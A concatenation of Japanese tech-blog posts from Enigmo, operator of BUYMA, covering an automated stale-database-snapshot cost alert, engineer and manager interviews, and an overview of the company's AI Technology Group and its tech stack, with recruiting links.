スナップショットごとにストレージサイズとエンジン種別(Auroraかどうか)で単価を切り分けています。 Auroraは1GBあたり0.023 USD 、 その他RDSは0.095 USD を料金の目安にしました。(※Auroraはサイズが出し辛く、デフォルト10GBを設定) 全スナップショットの合計推定コストを計算し、Slack通知に含めることで 不要スナップショットのコスト影響を視覚化 します。 4. Slack通知 抽出したスナップショット一覧、推定コスト、およびエラー発生時はその詳細を Slackへ通知 します。Slack通知に利用する Bot トーク ンはSecrets Managerで安全に管理されています。 Slack通知例 スナップショット検出時 対象なし時 実行エラー時 まとめ これまで、不要なAuroraやRDSの手動スナップショットの削除忘れにより、全アカウントを合計すると、数万円単位のストレー ジコス トが毎月発生していました。 本仕組みの導入により、これらの古いスナップショットを定期的に自動検知し、Slackに通知することで削除忘れを回避することが可能になりました。 結果として、不要なストレー ジコス トの削減が実現し、無駄な支出を抑制できました。 明日の記事の担当は 人事総務グループ の 廣島 さんです。お楽しみに。 株式会社 エニグモ 正社員の求人一覧 hrmos.co
国内最大級の海外ファッション ECサイト 「 BUYMA (バイマ)」を運営する エニグモ 。 今回は、エンジニア組織を支えるエンジニア リングマ ネージャーとして、プロジェクト推進からメンバー育成まで幅広く携わる穴澤さんにインタビューしました。これまでのキャリアや エニグモ に入社した経緯、現在の役割、そして「 BUYMA 」の開発に携わる魅力について伺いました。 これまでのキャリアと エニグモ に入社した経緯を教えてください 前職では、オンライン英会話サービスを開発する会社で Webサービス 開発チームのリーダーを務めていました。 サーバーサイドエンジニアとして英会話レッスンの予約システムや決済機能のメンテナンスからスタートし、その後はシステムの刷新やサービスの拡大期にチームリーダーとしてチームをまとめる役割を担うようになりました。 スマホ 向けの新規事業の立ち上げや、海外子会社で講師向けシステムを開発するなど、本当に多様な経験を積むことができました。 7年間の経験を通じて「やり切った」という手応えを感じる一方で、次はより大きな組織の成長に貢献できる環境で自分のマネジメント経験を活かしたいと考えるようになりました。そんなときに出会ったのが エニグモ です。 面談や選考で話を伺ううちに、ここなら自分の強みを活かし、組織づくりにも携われると感じ、入社を決意しました。選考の中で多くのエンジニ アメンバー と直接話せたことも、とても印象に残っています。 実は エニグモ に入社する1年前に一度縁があり内定が出ていたのですが、当時は転職のタイミングを見直すことにし、辞退していました。改めて転職を考えているタイミングで エニグモ の人事部長から再度声をかけていただき、入社した経緯があります。 現在の 「 BUYMA 」のエンジニア リングマ ネージャーとしての役割を教えてください 現在はエンジニア リングマ ネージャーとして、大規模プロジェクトの推進やメンバーのフォローアップ、組織づくりと幅広く関わっています。 BUYMA の開発組織は「BUY(購入者向け機能)」「SELL(出品者向け機能)」「SERVICE INFRA(決済や配送などの基盤機能)」の3つの ドメイン に分かれています。 ドメイン はエンジニア・デザイナー・ディレクター・データアナリストなど職能横断チームで、私はその中で ドメイン ヘッド(Domain Head)として、ビジネス側との折衝や全体のマネジメントを担っています。各 ドメイン はミッションの近い複数のSquad(開発チーム)の集合体であり、チームごとにKPIを設定し、事業やユーザーの課題解決に向けたプロジェクトを進めています。 プロジェクトの推進については、大小様々な案件で、多くの関係者が関わる複雑なプロジェクトに関わることが多いです。 ※ エニグモ では、大型セールや複数の領域( ドメイン )にまたがる大規模開発のような施策は、部署を横断する全社的なプロジェクトとして推進しています。 実際の開発は、基本的に各担当のエンジニアに任せていますが、プロジェクトを迅速に進める中で意見が滞りがちな場面では、「いつ、誰が、何を、どこまでやるのか?」を明確に整理し、進行をサポートする役割を担うこともあります。 また、 プレイングマネージャー として、自らも手を動かす場面を持つようにしています。そうすることで組織全体の ボトルネック や開発メンバーの抱える課題を肌で感じることができます。自分も開発しながら組織全体のことを見るというバランス感が、 エニグモ のエンジニア リングマ ネージャーの面白さだと感じています。 それ以外にも、チームメンバーとの1on1や目標設定といったマネジメントも行っています。日々の業務やコミュニケーションを通じて、メンバーそれぞれの特性や志向性を把握し、その強みを活かせるよう意識しています。「こうすればもっと良いエンジニアになれるんじゃないか」「このスキルを活かして、次のプロジェクトでこんな仕事ができると良いね」といったことを一緒に考え、キャリア形成のサポートも大切な仕事だと捉えています。 マネージャーとして、コミュニケーションやチーム運営で心がけていることはありますか? メンバー自身が、自律的に考えて行動できる組織にするためのコミュニケーションを心がけています。 プロジェクトの方向性を決める際や、メンバーからの相談を受ける際には、マネージャーの中で「こう進んだ方が良い」という結論を初めから伝えすぎないようにしています。もちろん、自分で考えて適切な結論にたどり着くための情報のインプット等のサポートはします。 入社した当時、 エニグモ は組織として大きく成長しようとしており、採用を本格化していく時期でした。当時は採用に関わるエンジニアが限られていたため、組織として人を採用し、育成していく仕組みが必要だと感じていたため、そこで、私自身も積極的に採用活動に関わらせてもらうようになりました。 組織づくりの一つとして、若手や新卒メンバーに対しては、入社初期からメンター制度を取り入れています。 メンターと新メンバーが毎朝ミーティングを行い、進捗の共有だけでなく、悩み相談や雑談を交えられる仕組みになっています。週次でのふりかえりを通して「できたこと」「学んだこと」「次に挑戦したいこと」を整理する機会も設けています。経験の浅いメンバーもメンター制度を通して入社後1年程で独り立ちして、プロジェクトを回し始めているような人材へと成長しています。メンバーの成長というのは個人の資質や頑張りによるもので、あくまでもメンター制度はそのお手伝いであると思っています。 新メンバー全員に共通しているオンボーディングの取り組みとしては、チームのマネージャーが 開発プロセス やリリース手順、組織構成の話などを入社日に直接会ってお話ししています。その後、最初は簡単なタスクを担当しながら、チームの朝会やSlackで質問などを気軽にできる体制をとっています。 ※メンタリングについてはこちらの記事で詳しく紹介しています。 開発部門のメンタリング体制 - エニグモ開発者ブログ これまでの経験が活きていると感じる場面はありますか? 前職での多様な開発経験と、組織づくりへの興味が、今の仕事に直結していると感じます。 システム刷新や新規事業の立ち上げを通して、技術だけでなくプロジェクト全体を俯瞰する力を養えたことは、 BUYMA のような大規模サービスの開発プロジェクトの推進でも活きていると感じます。 また、入社時に「組織の成長に貢献したい」という思いがあったため、採用や育成といった組織づくりに積極的に関わることができました。 エニグモ はスタートアップのようなスピード感と、上場企業としての安定性が共存している珍しい環境だと思います。 「 BUYMA 」の開発に携わる魅力を教えてください エニグモ でエンジニアとして働く魅力は、ビジネスサイドとの距離の近さと、20年続く大規模サービスならではの技術的な挑戦の両方を追求できる点だと思います。 まず、ビジネスサイドとのコミュニケーションが活発です。 BUYMA の事業チームのメンバーは技術 リテラシー が高く、「これを作ってほしい」という依頼ではなく、「どうすればこの課題を解決できるだろうか?」という形で議論が始まることが多いです。 エンジニアもプロダクトの成長を一緒に考えるビジネスパートナーとして、開発の実現可能性だけでなく、「開発目線」で本質的な解決策を提案し、要件定義から深く関与することができます。 さらに、 BUYMA のエンジニアはユーザーとの距離が非常に近く、フィードバックをダイレクトに受け取れる点も魅力のひとつです。 ユーザーの声をもとに改善を重ねていくプロセスは、他の業種ではなかなか得られない貴重な経験です。 そして何より、 BUYMA の開発には20年続く大規模サービス特有の難しさと面白さがあります。 BUYMA はグローバル規模で運営されており、サービスを1秒たりとも止めることができないシビアな環境下で改善・開発を進めています。 この環境で得られる「大規模 トラフィック の中で本質的なスキルを磨く経験」は、スキルを磨きたいエンジニアにも最適だと思います。 また、ユーザー数が多いため、施策の効果が数値として明確に現れます。新機能をリリースした直後にABテストやデータ分析を通して成果を検証でき、短いサイクルで開発と改善を繰り返せる環境があります。 トラフィック 量も大きく、データ構造も複雑なため、スケーラビリティやパフォーマンスチューニングなど、高度な設計・運用力を磨き続けられる環境です。 開発の手応えをすぐに感じながら、自分たちの手でプロダクトを進化させていける実感が持てるのは、 BUYMA ならではだと思います。 エニグモ ではエンジニアとして、どのような経験やスキルを身につけたり、キャリアを積むことができますか? エニグモ には、エンジニアの 「事業・プロダクト志向」「技術志向」「マネジメント志向」 といった個々の志向性に合わせた、多様なキャリアの道が明確に広がっています。 エニグモ のエンジニアは、 BUYMA の事業課題を深く理解した上で、開発目線でビジネス側と協議し、要件定義から開発に携われるポジションです。 プロダクトの成長にどう貢献するかを考える機会が豊富で、事業志向の方には特に大きなやりがいがあると思います。 一方で、技術を突き詰めたい方にとっても魅力的な環境です。先ほどお伝えした通り、 BUYMA はアクセス数・ トランザクション 量ともに非常に多く、機能同士が複雑に連携する大規模プロダクトです。 そのため、コードの変更一つにも他機能への影響を慎重に考慮する必要があり、自然と質の高い開発マインドが養われます。 スケーラビリティやパフォーマンス最適化といった、大規模サービスならではの設計・運用を経験できる点も大きな魅力であり、高度な技術力を鍛え続けられます。 また キャリアパス も柔軟です。現在のエンジニア組織は、マネージャー集権から ドメイン 特化の“スクワッドリード”へと裁量を移譲しています。 さらに、マネージャーにならなくても「技術に特化した スペシャ リスト職」として正当に評価・昇給される仕組みが整っており、カルチャーも「柔らかいやりとり」が多く相談しやすい環境です。 このように、 エニグモ のエンジニアは「事業志向」「技術志向」はもちろん、私のような組織を率いる「マネジメント志向」も含め、個々の強みを活かしながら成長していける環境にあります。 どんな志向を持つ方でも、可能性を広げながらキャリアアップできることが、 BUYMA 開発組織の最大の特徴です。 最後に エニグモ に興味を持ってくださっている方へメッセージをお願いします システム的には、長年の運用を経て、いわゆる技術的負債(矛盾や制約)も残っているのが現状です。マネージャーとして、そうした改善が難しい領域を少しずつ解きほぐし、開発者がよりスムーズに、気持ちよく開発に取り組めるような環境を整備していく必要があります。これは、エンジニア部署として継続的に推進していくべき、重要なプロジェクトだと考えています。 また、 BUYMA のシステムは機能範囲が非常に広いため、各 ドメイン や機能領域において、より専門性を持った、俊敏に動ける組織づくりが求められています。 人の面での育成はもちろん、技術的な基盤の底上げも含めて、 BUYMA のさらなる成長に貢献していきたいと思っています。 私は、「 エニグモ を卒業した後も『 BUYMA の開発に関わっていた人は優秀だね』と思われるようなエンジニア」を育てたいという気持ちで、日々メンバーと向き合っています。 私たちの組織で培った経験が、どこに行っても価値を発揮できる高い市場価値に繋がること——それが私たちが育成において最も大切にしていることです。 エニグモ にはエンジニアとしてのスキルをしっかり磨ける環境があり、力のあるエンジニアがたくさん在籍しています。そうした仲間と一緒に働く機会も多いので、自分で勉強してきた方や、スキルの高い人たちと切磋琢磨したいという方にとっても、最適な環境だと思います。 ぜひ一緒に、 BUYMA の成長を支える開発組織をつくっていきましょう。
はじめに こんにちは、AIテク ノロ ジー グループの辻埜です。普段はデータサイエンティストとして 機械学習 を用いたシステムの開発運用や、社内のAI活用推進を担当しています。 近年、テク ノロ ジー の発展に伴いAIの重要性が叫ばれる中で、 エニグモ が運営するソーシャルショッピングサイト『 BUYMA 』でも積極的にAIの活用が進められています。この記事では、 エニグモ においてAIやデータをメインで扱っている「AIテク ノロ ジー グループ」についてご紹介します。 まずはじめに「AIテク ノロ ジー グループ」の組織における位置付けとグループ内のチーム構成を簡単にご説明した上で、メインのトピックとして各チームの業務内容や技術スタック/ツールついてご紹介していきます。 AIテク ノロ ジー グループとは 組織図 AIテク ノロ ジー グループは、社内のエンジニア組織であるサービスエンジニアリング本部(以下、SE本部)に属するグループの1つです。AI・データの スペシャ リストが集まっており、それらの専門知識・技術をプラットフォーム・組織に提供し、事業価値・ 企業価値 向上へ貢献する役割を担っています。元々データテク ノロ ジー グループという名称でしたが、2025年4月1日より「AIテク ノロ ジー グループ」へと名称を変更しました。 組織図(2025年8月1日時点) AIテク ノロ ジー グループが所属するSE本部はAIテク ノロ ジー グループ、アプリケーション開発グループ、インフラグループの3つのグループに分かれており、各グループ内でも担当ごとに更に細かくチームを構成しています。 SE本部の開発体制の詳細について知りたい方は以下の記事も併せてご覧ください。 tech.enigmo.co.jp チーム構成について AIテク ノロ ジー グループにはデータエンジニア、データサイエンティスト、検索・MLOpsエンジニアなどデータに関わるメンバーが所属しており、以下のような単位でチームを構成しています。 データ基盤チーム 機械学習 チーム 検索チーム MDDBチーム システムの構成図と各チームの担当範囲は以下のようになっています。 システム構成と担当範囲 ここからは、それぞれのチームごとの役割と業務内容を順番にご紹介します。 各チームの紹介 データ基盤チーム 役割 データ基盤チームにはデータエンジニアが所属しています。社内の膨大なデータを整理して「データ基盤」を構築・運用し、データ分析がしやすい環境を提供する役割を担っています。 エニグモ では、データアナリストやデータサイエンティストといった分析を専門とする社員だけでなく、ほとんどの社員が自ら SQL を駆使してデータを確認したり分析を行うなど、データドリブンな文化が強く根づいています。データ基盤チームはこの強力なデータ活用文化を支えています。 業務内容 データ基盤チームの主要な業務の1つは、データのETL(Extrat: 抽出、Transform: 変換、Load: 書き出し)処理の管理です。 エニグモ では、それらのデータ処理の オーケストレーション にCloud Composerを活用しています。環境から収集 API を通じて送られてくる何万、何億というデータを分析しやすい形式に整形し、データベースに集約します。さらに、それらのデータがその先のデータベースやMAツール、社内分析ツールへと連携されるまでの一連の処理すべてを オーケストレーション しています。 効果的な施策を実施するためにはデータのリアルタイム性も欠かせません。データはわずか1時間で各DBからデータ基盤であるBigQueryへ同期され、リアルタイムに近い分析と意思決定を可能にしています。高速なデータ連携を維持するため、全体の健全性の監視も行っています。具体的には、Cloud Composerが適切に稼働しているか、同期に遅延は起きていないか、格納されたデータに問題はないかなどを常に確認しています。 また、データ処理の オーケストレーション だけでなく、ビジネスチームがデータを最大限に活用するための環境の整備も行っています。社内では分析ツールのひとつに「Looker」が使用されており、データ基盤チームは社内からの要望に応じてLookML(Lookerで使用される独自の モデリング 言語)でデータの定義を行っています。これにより、社内の誰もが効率的で一貫性のあるデータ分析ができる環境を提供しています。さらに、Lookerの利用コストが著しく増大するのを防ぐため、LookMLの記述においてクエリの効率化やデータ集計の最適化を行うことで、リソース消費の抑制を図っています。 加えて直近の業務としてはオンプレミス環境に存在する一部のデータ処理基盤の クラウド 移行プロジェクトも進められています。Terraformによるインフラ部分のコード化、既存のDAGのバージョンアップ修正、現状の構成の リファクタリング 、移行に伴う動作確認など、機能面・非機能面ともに移行後に求めらる水準を達成できるよう、入念にプロジェクトを進めています。 以上のように、 エニグモ のデータ活用を根底から支えているのがデータ基盤チームです。 機械学習 チーム 役割 機械学習 チームにはデータサイエンティストが所属しています。施策の企画や実施、効果検証、 機械学習 モデルの開発・運用、社内のAI活用推進などを担当しています。 データ基盤チームの取り組みにより、 エニグモ には総ユーザー1000万人以上の行動データ、計650万点以上の出品データなど、膨大なデータが蓄積されています。それらのデータから 機械学習 を活用して インサイト を抽出し、アプリの機能や施策など様々な形でユーザーへ価値を届けるのがデータサイエンティストの役割です。 業務内容 BUYMA では様々なシーンで 機械学習 が活用されています。たとえばログイン済みのユーザーが BUYMA を開くと、PERSONALIZED RANKINGという項目が表示されます。これは、各ユーザーの履歴をもとに、ユーザーの好みに沿った商品をレコメンドし、専用のランキングとして表示しています。 PERSONALIZED RANKING また、データサイエンティストが自発的に提案を行い施策を実施するケースもあります。クーポン施策の実施などがその一例です。施策の企画から分析、実施、効果検証まで一貫して担当します。過去の施策を分析したり 機械学習 モデルを活用しながら、施策内容や配布タイミング、対象者を定め、様々な関係者と連携をとりながらプロジェクトを進めます。施策実施後には効果検証も行い、後の施策に活かすための知見を探ります。 機械学習 の知見を活用し、社内で利用されているサービスの内製化に至ったケースもあります。以下のブログでは、 元々社 内で使用されていた他社製の類似画像検索システムにおいて、精度を維持しつつコスト削減が実現できた事例をご紹介しています。 tech.enigmo.co.jp 直近では社内のAI活用を推進するため、Difyという生成AIアプリ開発ツールを活用した取り組みも行っています。エンジニアが逐一アプリを構築するのではなく、非エンジニアでもツールを使ってどんどんAIを活用できるような環境を整えるための取り組みを行っています。 以上が 機械学習 チームの業務内容です。 ※混同されがちですが社内の別グループにはデータアナリストのチームも存在します。役割の違いとしては、データアナリストは各事業部が実施した施策を アドホック に分析し、ビジネス上の課題を特定したり、成功要因を把握することに焦点を当てます。一方でデータサイエンティストは 機械学習 の知識を駆使して、将来の予測やモデルの構築を行うことがメインの役割です。役割の違いはありつつも両者は業務範囲が重なる部分も多いため、毎週合同のデータ勉強会を実施したりミーティングを通じて情報交換などをするなど、密に連携をとりながら業務を進めています。 検索チーム 役割 チーム名から検索システムのみを担当としているチームと思われがちですが、業務内容としては社内のMLOps領域も担っており、検索兼MLOpsエンジニアが所属しています。 BUYMA の検索システムの運用改善、 機械学習 基盤の開発運用を担うチームです。 業務内容 検索チームの業務内容としては主に3つの柱があります。 1つ目が BUYMA の検索システムの運用改善です。 BUYMA では650万点以上もの商品が出品されています。その膨大な商品の中からユーザーが求めている商品を見つけやすくするためには、高精度な検索システムが欠かせません。検索チームでは検索システムが稼働する Kubernetes Engine(GKE)環境の更新や中間DBに用いられている MySQL の管理など、検索システムに関わる一連のシステムのすべての管理を担当しています。 また、直近では検索システムの運用だけではなく、よりよい検索結果を提供するための精度改善の取り組みも行われています。 BUYMA では複数の検索システムが稼働しています。2024年7月に全検索システムの Google Cloud Platformへの移設が完了しており、完全にマイクロサービス化された状態となっています。 BUYMA の検索システムの構成については以下の記事も併せてご覧ください。 tech.enigmo.co.jp 2つ目の柱がMLOpsです。検索チームは元々は検索エンジニアリングの専任チームとしてスタートしましたが、徐々に検索システムから推薦システム、 機械学習 へと領域が広がり、今ではAIサービスの安定稼働を支えるMLOps部分も担当しています。 具体的にはデータサイエンティストが開発したモデルをデプロイするための クラウド 環境の構築などを行います。構築にあたっては求められる水準のレスポンス速度や可用性を担保するための設計、システムが危険に晒されないためのセキュリティの設計など、考慮すべき事項が数多くあります。また、 機械学習 システムは一度リリースされたら終わりではなく、必要に応じて何度も修正、テスト、デプロイが繰り返されます。それらの開発と運用のサイクルを円滑にするためのCI/CDの構築も行っています。 3つ目の柱がAIシステムの開発やPoCです。以前までは上記の2つの業務が主でしたが、最近はAIを使ったシステムを比較的容易にデプロイできるような SaaS 系のサービスも増えてきたため、それらを活用してAIを使ったシステムの開発やPoCを担当するようにもなっています。 代表的にはAIを用いた社内ドキュメント検索システムの構築や BUYMA のAI検索機能の改善、テキストデータの分析システムの構築などを行っています。 以上のように、インフラからアプリケーションレイヤーにわたる幅広い知識をフルに生かし、 機械学習 システムの大黒柱のような役割を担っています。 MDDBチーム 役割 MDDBはMerchandise Databaseの略で、 BUYMA に掲載されている膨大な数の商品情報を集約・整理し、提供するための基盤を指します。MDDBチームは、このMDDBの開発と改善、そして社内でMDDBをより活用しやすくするための API 開発などを行っています。 業務内容 BUYMA ではCtoCプラットフォームの特性上、出品されている商品が同じ商品であっても、出品者が異なればそれぞれ異なる商品IDが付与されるため、システム上では別々の商品であると認識されてしまいます。 そこで、MDDBチームでは社内に蓄積された多種多様な情報を整備し、異なる商品IDを持つ同一商品を紐づけることで、より正確で包括的な商品データベースを構築しています。 一口に「情報の整備」と言っても、乗り越えるべき課題は多岐にわたります。例えば、 BUYMA の商品情報の入力方法や記載内容は出品者によってさまざまです。そのため、AIを活用して表記ゆれを吸収し、画像情報や製品情報なども活用しながら、真に同じ商品であるかを識別する仕組みを開発しています。 また、構築されたMDDBの情報をLookerと連携させることで、社内の誰もが簡単にデータにアクセスし、分析できる環境を提供しています。これにより、各部門は「 BUYMA 上ではどの商品が人気か?」「どんな商品が出品数が多いか?少ないか?」といった商品を軸にした分析や、その分析結果を根拠とした施策の意思決定が可能になります。 さらに、各部門にMDDBを活用した分析環境を提供するだけでなく、MDDBチーム側からもデータ分析における積極的な貢献を行っています。具体的には、MDDBのデータを使って BUYMA 上に出品されている商品の変化を分析し、出品や購入を促進するための示唆に富むデータを提供することで、各部門がより効果的な施策を検討できるよう支援しています。 このように、商品という切り口で施策の意思決定の根拠になるようなデータを収集、整備、分析して提供するのがMDDBチームのミッションです。 技術スタック・ツール 上記でご説明した業務を行うにあたって、AIテク ノロ ジー グループでは主に以下の技術スタック、ツールが使われています。 用途 技術/サービス/ツール名 開発言語 Python , Ruby ( Ruby on Rails ), PHP コード管理 GitLab CI/CD GitLabCI/CD インフラ Google Cloud, Docker, Google Kubernetes Engine(GKE) IaC Terraform バッチ処理 Cloud Run, Vertex AI Pipelines 分散処理 Dataflow ログ管理 Datadog, Cloud Logging ワークフロー管理 Apache Airflow / Cloud Composer, Vertex AI Pipelines, Cloud Workflows データ変換 dbt データベース BigQuery, MySQL , Cloud Datastore データ分析 Looker, Redash 検索エンジン Apache Solr タスク管理 Jira, Redmine コミュニケーション Slack, Zoom 技術スタックについては上記のサービス群で固定されているわけではなく、新たに有用なサービスが見つかった場合には積極的に利用しています。使用ツールについてもセキュリティに問題のない範囲で各個人で好きなツールを使っていたり、最新のAIエディタ等も申請が通れば会社の予算で利用できるなど、エンジニアがなるべく開発しやすくなるような環境を整えています。 さいごに 先にご紹介した通り、AIテク ノロ ジー グループは昨年度までは「データテク ノロ ジー グループ」という名称でした。しかし、社内でのAI活用が進んでいく中で、グループの担当業務としてもAI検索システムの導入などAIの案件が増えていたことに加え、グループの方針として「 BUYMA および社内業務へのAI組み込みの提案」という方針を打ち立てており、実態にあった名称とするために2025年4月から「AIテク ノロ ジー グループ」という名称に変更されました。 AIテク ノロ ジー グループは、新たなグループ名となってまだスタートを切ったばかりです。 BUYMA がユーザーの皆様にとって魅力的で価値のあるプラットフォームであり続けるために、そして「世界を変える、新しい流れを。」というモットーのもと、日々奮闘しています。 まだまだ課題やチャレンジしたいことがたくさんあります。以下の通り採用も行っておりますので、ご興味のある方はぜひご覧ください。ご応募お待ちしております! hrmos.co
こんにちは、UXデザイングループの宮川です。今回は、 エニグモ が運営するソーシャルショッピングサイト「 BUYMA 」で、購入者向け機能を開発するチームのエンジニア、東野さんにインタビューしました。 エニグモ に入社したきっかけや普段の業務内容、そして エニグモ で働く魅力について伺います。 これまでのキャリアと エニグモ に入社した経緯を教えてください 元々、エンジニアとしてキャリアをスタートさせたわけではなく、建築業界で施工管理の仕事をしていました。そこからエンジニアという職業に興味を持ち、独学で勉強してエンジニアとして転職しました。 前職ではエンジニアが5名ほどの小規模な組織に所属し、Web上の店舗情報を一括管理する SaaS の開発に携わっていました。ここでは、バックエンド、フロントエンド、インフラと、開発のほぼ全ての領域を担当し、ビジネスサイドやCTOと密に連携しながら、要件定義から開発までを一貫して行っていました。 とても貴重な経験をさせていただいていたのですが、その一方で、エンジニア組織が小規模で技術への関心が高いメンバーが少なかったことから、自身の技術的な貢献が評価されにくいという課題も感じていました。 そんな中、 エニグモ の記事で評価制度やバリューに関する考え方を拝見し、透明性が高く、自分がやりたいことで会社に貢献し、正当に評価してもらえる環境だと感じました。また、技術ブログからは、 スペシャ リストとして業務に貢献されている方々の姿や、各メンバーの取り組みを知ることができ、その技術レベルの高さに強く惹かれました。技術面においても、大規模な トラフィック を前提としたデータ処理や、本番環境で求められる高い品質を考慮した設計・実装など、私が挑戦したいことと エニグモ が求めるものが一致していると感じ、入社を決意しました。 ※スペシャリストとして貢献するメンバーの紹介記事 ※カンファレンスについての記事 ※エンジニア組織やバリューに関する記事     エニグモ ではどのようなお仕事をされていますか? 入社当初は、開発組織を横断的に支援するチームの1つであるApplication Platformチーム(以下APチーム ) に所属していました。ここでは、技術スタックの最適化、インフラ基盤のモダン化、 アーキテクチャ 改善、サービスの信頼性向上といった、横断的に共通の技術課題を解決し、開発組織全体の生産性を向上させる活動を行っていました。 その後、社内異動を経て、現在は BUYMA の購入者向け機能を開発する「BUY Domain」の「CVR Squad」に所属しています。 エニグモ の開発体制は、 BUYMA のDomain(機能)ごとに、BUY(購入者向け機能)、SELL(出品者向け機能)・SERVICE INFRA(決済や配送などの BUYMA 根幹を支える機能)(※)といった3つの ドメイン に分かれています。そして、その ドメイン をさらに細分化し、事業的なミッション達成に向けて、システム全体のライフサイクル(設計、開発、テスト、本番化、運用、不具合対応など)にオーナーシップを持つ縦割りのチームのことを「Squad(スクワッド)」と呼んでいます。 私の所属するCVR Squadは「購入者のコンバージョン率(CVR)向上」のミッションを持っており、私は BUYMA の購入フローやクーポン施策に関する開発を担当し、今後開発をリードしていく役割を担っています。 また、DXチームという開発組織を横断的に支援するチームも兼任しており、 BUYMA のローカル開発環境やソフトウェア開発のプロセスを自動化するためCI/CDツールの整備を通して、エンジニアがより快適かつ効率的に開発できる環境づくりに取り組んでいます。例えば、AIツールを安全に活用できるよう、 BUYMA の ソースコード から個人情報などの機密情報を分離し、気兼ねなくAIを使用できる開発環境の整備などを行なっています。 ※エニグモのエンジニア組織について   印象に残っているプロジェクトについて教えてください 現在所属しているCVR Squadでの、トレンドワード機能を改善したプロジェクトが印象に残っています。 BUYMA には、ホーム画面のカテゴリータブの下にある、(ブランド名)人気バッグ、(ブランド名)アウトレット商品などの「トレンドワード」タグを押下して検索結果に遷移できる機能があります。 改善前のこの機能では、全年代に一律の「トレンドワード」を表示しており、特定の層にしか響かず、特に若年層への訴求が弱いという課題がありました。そこで、ログインユーザーの年代に合わせて、表示する「トレンドワード」を最適化し、若年層への訴求を強化するために、このプロジェクトが始まりました。 私は主にバックエンド開発の役割で関わりましたが、仕様のキャッチアップも兼ねてWebアプリケーションのフロントエンド(React)も一部担当しました。また、ディレクターやアプリエンジニア( iOS / Android )を交えてビジネス要件を調整しつつ、バックエンドの設計・実装を進め、施策全体の開発計画やリリース計画の調整も行いました。 開発そのものの複雑さは高くなかったのですが、大規模サービスならではの課題が2点ありました。1点目は、複数のレイヤーにキャッシュが組み込まれていることや、アプリ用 API でバージョニングを考慮した設計が必要であるなど、サービスが大規模なため、数々の既存システムの仕様を把握する必要があったことです。 2点目は、私の BUYMA でのはじめてのビジネス系の施策で、アプリ( iOS / Android )、管理画面、Webと開発範囲が広かったため、自身の担当範囲の見極めや、開発フローを把握しながら他チームと連携する必要があったことです。 これらの課題に対し、1点目の既存システムの仕様の把握については、社内の情報共有ツール( esa )やSlackのログを確認したり、 ソースコード を直接読み解いたりすることで理解を深めました。2点目の開発の連携については、プロジェクトの初期段階でタスクを洗い出して開発計画を立て、 クリティカルパス を把握した上で、開発の順序や他チームへの依頼フローを整理するようにしました。  結果、大きな手戻りなく各チームが効率的に開発を進めることができ、施策としてもトレンドワード機能を利用するユーザーの数を底上げすることに成功しました。このプロジェクトを通して、幅広い開発スコープを担当させてもらえたことで、ビジネス施策の進め方やシステム仕様への理解が深まり、大きな自信に繋がる印象的なプロジェクトになりました。   エニグモ グループで働く魅力を教えてください 長年続くサービスだからこそ得られる技術的な知見 BUYMA は20年以上稼働している エニグモ 創業時から続くサービスで、以前は開発言語に PHP が使われていましたが、現在は Ruby に技術刷新され、旧来のシステムと新しいシステムが共存する形で運用されています。 そのため、機能的には移行が完了していても、一部で PHP 時代の影響が残っている箇所があり、施策内容によっては旧来のシステムへの影響調査と設計が求められます。このような長年稼働している複雑なシステムに対し、実装当時の担当者がいない中で、自ら仮説を立てて状況を整理し、アウトプットを出す必要があります。 難しい挑戦ではありますが、それを乗り越えることで、リアルなビジネス課題を解決するための実践的な知見を得ることができます。 職種の枠を超えて幅広い工程に携われる システム開発 において、ビジネス要件の調整から、既存システムの調査、開発計画の立案、設計、実装、QAまで、全工程に携われることも大きな魅力です。  もちろん、全てを一人で対応しなければいけないわけではありません。状況に応じて他チームに依頼することや、エンジニアの アサイ ンが難しい場合は自ら開発することもあります。あるいは、開発に専念してレビューのみを他チームに依頼したりと、柔軟な動き方が可能です。  加えて、 エニグモ では安全なリリースに必要なリソースを確保しやすい文化があるため、時間をかけて調査や実装、リリース計画を綿密に立てることができるため、エンジニアとして納得感を持ちながら開発に取り組むことができます。 多職種なメンバーと協業しながら開発できる環境 入社時に配属になったAPチームでは、難易度の高い専門的な技術を扱っており、技術力が高いエンジニアが集まっていたため、当初エンジニア3年目の自分にとってはチャレンジングな環境でした。何でも自分で解決しようとして行き詰まることもありましたが、思い切って相談してみると、皆さん快く手を差し伸べてくださり、自己解決が難しい案件もスムーズに進められるようになりました。 複数のチームを経験したことで組織体制への理解が深まり、他チームのエンジニアやビジネスサイドのメンバーと関わる中で、効率的に業務を進められるようになったと感じています。また、ビジネスサイドやディレクターの方々もエンジニアへの理解が深く、建設的なコミュニケーションが取りやすい環境です。 多様なメンバーと協業する中で、視野が広がり、自身の成長やよりよい開発・提案にもつながっていると実感しています。   今後チャレンジしたいことを教えてください 既存システムの技術的課題や ソースコード の改善提案などを通して、サービスの安定性と開発者体験の向上にさらに貢献していきたいです。 BUYMA は既存システムの仕様を把握するのが難しく、改善提案を行う際にも、変更することによって起こる多くの影響を考慮する必要があります。しかし、今までの業務で既存システムに触れ、他のエンジニアのコードレビューと合わせて仕様の把握を進める中で、より大きな課題解決を行うための準備が整ってきたと感じており、今後は、より積極的に改善に取り組んでいこうと思っています。 例えば、 BUYMA のユーザー情報や取引情報を管理する社内ツールは、多くの部署で利用される必要不可欠なツールですが、技術スタックが古く、機能開発の ボトルネック になり、パフォーマンスが最適化されていません。このようなツールの新規開発を主導し、順次リプレースを進めることで、抜本的な改善に貢献していきたいと考えています。   エニグモ に興味を持ってくださっている方に、メッセージをお願いします 20年以上続く大規模サービスを舞台に、本番環境に根ざしたリアルな課題に向き合うことができます。開発者としての視野を広げ、技術的な意思決定を自らの手で行う経験を積みたい方にとっては、非常にやりがいのある環境だと思います。 担当業務は基本的に自身の役割が軸になりますが、施策の初期段階から関わることで設計や技術方針に意見を出し、必要に応じて他の領域に挑戦したりすることも可能です。 私も最初は不安がありましたが、困ったときにはすぐに助けてくれるチームメンバーや、エンジニアの挑戦を後押ししてくれる文化があるので、安心してチャレンジを続けられています。 エニグモ で、一緒にエンジニアとしての幅を広げていきましょう!   ---- 株式会社 エニグモ すべての求人一覧 hrmos.co